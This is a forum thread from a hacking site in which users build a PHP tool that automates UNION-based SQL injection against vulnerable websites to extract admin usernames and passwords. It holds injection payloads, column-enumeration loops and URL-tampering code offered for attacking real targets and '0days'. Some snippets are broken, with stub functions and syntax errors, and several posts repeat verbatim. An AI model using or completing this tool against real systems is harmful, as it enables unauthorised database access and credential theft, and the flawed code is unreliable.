Writing an SQLi automated exploit tool.

Writing an SQLi automated exploit tool. - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: PHP (https://sinister.ly/Forum-PHP)
+--- Thread: Writing an SQLi automated exploit tool. (/Thread-Writing-an-SQLi-automated-exploit-tool)

Pages: 1 2

Writing an SQLi automated exploit tool. - VipVince - 07-10-2013

I am getting into writing remote exploits to automatically perform SQL injections on vulnerable web servers, a manual way to retrieve login credentials without having to do the whole process again manually.

PHP Code:
<?php
error_reporting(E_ALL); //report errors
print "<h2>SQLi exploit</h2>"; //header message
if(!empty($_GET['vulnwebsiteparameter name'])){                          //if url paramater is not empty and has input

print "<b>Scanning the vulnerability...";             
//inform user that tool is scanning

$injquery = "null UNION SELECT 1, 2,concat_ws(0x3c68633e,username,0x3a,0x3a,userpass,0x3c2f68633e),4 from admin_user_info--"; (this can change depending on the website)
//SQL inject query to use against our vulnerable web paramater 

Now I am not overly experienced with PHP, I was wondering how do I finish that code to perform a successful withdrawal of SQL info from a database? I am sure using Curl and setting CURLOPT_RETURNTRANSFER in curl_setopt(), so that curl_exec() will return the result of the request (client-side code) upon execution. I am unsure over all how to write it though but hopefully you get what I mean. I think the code I sent will work, I am just stuck with the connect and fetching the results and parsing via html etc has me a little stuck.

Finally I forgot to mention, it will also require taking the user input for the site and appending the inject query to the URL automatically, will work good for 0days on particular software in which the database SQLi string will be the same on databases using the vulnerable software. Hopefully somebody can help with this, can use an SQLi site for testing.

PHP Code:
<?php
error_reporting(E_ALL); //report errors
print "<h2>SQLi exploit</h2>"; //header message
if(!empty($_GET['vulnwebsiteparameter name'])){                          //if url paramater is not empty and has input

print "<b>Scanning the vulnerability...";             
//inform user that tool is scanning

$injquery = "null UNION SELECT 1, 2,concat_ws(0x3c68633e,username,0x3a,0x3a,userpass,0x3c2f68633e),4 from admin_user_info--"; (this can change depending on the website)
//SQL inject query to use against our vulnerable web paramater 

RE: Writing an SQLi automated exploit tool. - The Alchemist - 07-11-2013

Its possible to make a script like this.
I'm just giving you some basic theory :

PHP Code:
<?php
function curl_get_contents($url){
    //curl statements to get the contents of webpage from url
}
function parse($contents){
    //parsing
}
if(!empty($_POST['url']) && filter_var($_POST['url'])){
    $url = $_POST['url'];
    $url = str_replace("=","=-",$url); // change the id=1 to id=-1 in the url
    $query = "union select 1,2,3,concat(username,0x3a,password),5,6,7 from tableadmin--";
    // here concat(username,0x3a,password) will give us the values in the format username:password
    // so our parse function has to work according to that
    //assuming the table we need is tableadmin
    
    $vulnerable_url = $url.$query; // adding the query to the url
    $contents = curl_get_contents($vulnerable_url); // getting the contents after executing the query
    $values = parse($contents); //parse contents
    echo $values;
}
?>

Or, you can manually execute queries and parse the contents.
Something like this :

PHP Code:
<?php
function curl_get_contents($url){
    //curl statements to get the contents of webpage from url
}
function parse($contents){
    //parsing
}
if(!empty($_POST['query']) && !empty($_POST['url']) && filter_var($_POST['url'])){
    $url = $_POST['url'];
    $url = str_replace("=","=-",$url); // change the id=1 to id=-1 in the url
    $query = $_POST['query'];
    $vulnurl = $url.$query;
    $contents = curl_get_contents($vulnurl);
    $values = parse($contents);
    echo $values;
}
?>

RE: Writing an SQLi automated exploit tool. - The Alchemist - 07-11-2013

Its possible to make a script like this.
I'm just giving you some basic theory :

PHP Code:
<?php
function curl_get_contents($url){
    //curl statements to get the contents of webpage from url
}
function parse($contents){
    //parsing
}
if(!empty($_POST['url']) && filter_var($_POST['url'])){
    $url = $_POST['url'];
    $url = str_replace("=","=-",$url); // change the id=1 to id=-1 in the url
    $query = "union select 1,2,3,concat(username,0x3a,password),5,6,7 from tableadmin--";
    // here concat(username,0x3a,password) will give us the values in the format username:password
    // so our parse function has to work according to that
    //assuming the table we need is tableadmin
    
    $vulnerable_url = $url.$query; // adding the query to the url
    $contents = curl_get_contents($vulnerable_url); // getting the contents after executing the query
    $values = parse($contents); //parse contents
    echo $values;
}
?>

Or, you can manually execute queries and parse the contents.
Something like this :

PHP Code:
<?php
function curl_get_contents($url){
    //curl statements to get the contents of webpage from url
}
function parse($contents){
    //parsing
}
if(!empty($_POST['query']) && !empty($_POST['url']) && filter_var($_POST['url'])){
    $url = $_POST['url'];
    $url = str_replace("=","=-",$url); // change the id=1 to id=-1 in the url
    $query = $_POST['query'];
    $vulnurl = $url.$query;
    $contents = curl_get_contents($vulnurl);
    $values = parse($contents);
    echo $values;
}
?>

RE: Writing an SQLi automated exploit tool. - VipVince - 07-11-2013

This pretty much took each idea I had in my head and put it into actual code, thanks man Smile

RE: Writing an SQLi automated exploit tool. - VipVince - 07-11-2013

This pretty much took each idea I had in my head and put it into actual code, thanks man Smile

RE: Writing an SQLi automated exploit tool. - The Alchemist - 07-11-2013

(07-11-2013, 02:34 AM)VipVince Wrote: This pretty much took each idea I had in my head and put it into actual code, thanks man !

I'd say, try making a script that automatically generates payloads, parses values and then displays.
It'll be a cool challenge. The user only gives the script a url. Its the work of the script to check if the url is vulnerable, generate payloads and parse and display values.
Like for example :

PHP Code:
<?php
function curl_get_contents($url){
    //curl statements to get the contents of webpage from url
}
function parse($contents){
    //parsing
}
if(!empty($_POST['url']) && filter_var($_POST['url'])){
    $url = $_POST['url']."'";
    $contents = curl_get_contents($url);
    if(strstr($contents,"some error message")){
        for($i = 1; $i <= 50 ; $i++){
            $orderby = " ORDER BY ".$i;
            $url = $_POST['url'].$orderby;
            $contents = curl_get_contents($);
            if(strstr($contents,"unkown order by clause somethimg somethimg error"))
                break;
        }
        $url = $_POST['url'];
        $url = ("=","=-",$url);
        $unionselect = " UNION SELECT ";
        $url = $url.$unionselect;
        for($j=1 ; $j < $i ; $j++){
            $url = $url.",".$j;
        }
        $url = //remove the last , and put -- instead
        /* after this, you parse and find out the columns displayed
            then, accordingly, you change the url and execute more queries
            and parse and so on..... */
    }
}
?>

RE: Writing an SQLi automated exploit tool. - The Alchemist - 07-11-2013

(07-11-2013, 02:34 AM)VipVince Wrote: This pretty much took each idea I had in my head and put it into actual code, thanks man !

PHP Code:
<?php
function curl_get_contents($url){
    //curl statements to get the contents of webpage from url
}
function parse($contents){
    //parsing
}
if(!empty($_POST['url']) && filter_var($_POST['url'])){
    $url = $_POST['url']."'";
    $contents = curl_get_contents($url);
    if(strstr($contents,"some error message")){
        for($i = 1; $i <= 50 ; $i++){
            $orderby = " ORDER BY ".$i;
            $url = $_POST['url'].$orderby;
            $contents = curl_get_contents($);
            if(strstr($contents,"unkown order by clause somethimg somethimg error"))
                break;
        }
        $url = $_POST['url'];
        $url = ("=","=-",$url);
        $unionselect = " UNION SELECT ";
        $url = $url.$unionselect;
        for($j=1 ; $j < $i ; $j++){
            $url = $url.",".$j;
        }
        $url = //remove the last , and put -- instead
        /* after this, you parse and find out the columns displayed
            then, accordingly, you change the url and execute more queries
            and parse and so on..... */
    }
}
?>

RE: Writing an SQLi automated exploit tool. - VipVince - 07-11-2013

(07-11-2013, 02:51 AM)The Alchemist Wrote:
(07-11-2013, 02:34 AM)VipVince Wrote: This pretty much took each idea I had in my head and put it into actual code, thanks man !
I'd say, try making a script that automatically generates payloads, parses values and then displays.
It'll be a cool challenge. The user only gives the script a url. Its the work of the script to check if the url is vulnerable, generate payloads and parse and display values.
Like for example :

PHP Code:
<?php function curl_get_contents($url){ //curl statements to get the contents of webpage from url } function parse($contents){ //parsing } if(!empty($_POST['url']) && filter_var($_POST['url'])){ $url = $_POST['url']."'"; $contents = curl_get_contents($url); if(strstr($contents,"some error message")){ for($i = 1; $i <= 50 ; $i++){ $orderby = " ORDER BY ".$i; $url = $_POST['url'].$orderby; $contents = curl_get_contents($); if(strstr($contents,"unkown order by clause somethimg somethimg error")) break; } $url = $_POST['url']; $url = ("=","=-",$url); $unionselect = " UNION SELECT "; $url = $url.$unionselect; for($j=1 ; $j < $i ; $j++){ $url = $url.",".$j; } $url = //remove the last , and put -- instead /* after this, you parse and find out the columns displayed then, accordingly, you change the url and execute more queries and parse and so on..... */ } } ?>

Love this idea, something different. Will get working on this tomorrow Smile

RE: Writing an SQLi automated exploit tool. - VipVince - 07-11-2013

(07-11-2013, 02:51 AM)The Alchemist Wrote:
(07-11-2013, 02:34 AM)VipVince Wrote: This pretty much took each idea I had in my head and put it into actual code, thanks man !
I'd say, try making a script that automatically generates payloads, parses values and then displays.
It'll be a cool challenge. The user only gives the script a url. Its the work of the script to check if the url is vulnerable, generate payloads and parse and display values.
Like for example :

PHP Code:
<?php function curl_get_contents($url){ //curl statements to get the contents of webpage from url } function parse($contents){ //parsing } if(!empty($_POST['url']) && filter_var($_POST['url'])){ $url = $_POST['url']."'"; $contents = curl_get_contents($url); if(strstr($contents,"some error message")){ for($i = 1; $i <= 50 ; $i++){ $orderby = " ORDER BY ".$i; $url = $_POST['url'].$orderby; $contents = curl_get_contents($); if(strstr($contents,"unkown order by clause somethimg somethimg error")) break; } $url = $_POST['url']; $url = ("=","=-",$url); $unionselect = " UNION SELECT "; $url = $url.$unionselect; for($j=1 ; $j < $i ; $j++){ $url = $url.",".$j; } $url = //remove the last , and put -- instead /* after this, you parse and find out the columns displayed then, accordingly, you change the url and execute more queries and parse and so on..... */ } } ?>

Love this idea, something different. Will get working on this tomorrow Smile